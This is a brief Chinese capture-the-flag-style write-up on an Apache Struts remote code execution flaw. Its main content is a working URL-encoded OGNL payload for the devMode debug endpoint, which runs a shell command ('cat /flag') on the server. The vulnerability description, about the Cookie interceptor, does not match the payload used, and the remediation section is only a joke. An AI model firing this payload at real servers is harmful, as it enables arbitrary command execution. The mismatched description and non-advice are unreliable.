一、漏洞情况分析
2.3.1.1 之前的 Apache Struts 中的 CookieInterceptor 组件不使用参数名称白名单,这允许远程攻击者通过精心制作的 HTTP Cookie 标头执行任意命令,该标头通过静态方法触发 Java 代码执行。
二、漏洞复现
进入靶场
开始复现
/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27cat%20%2Fflag%27%29.getInputStream%28%29%29)
将构造好的payload放入url中访问
三、漏洞处置建议
把靶场关了,跟漏洞说“白白吧”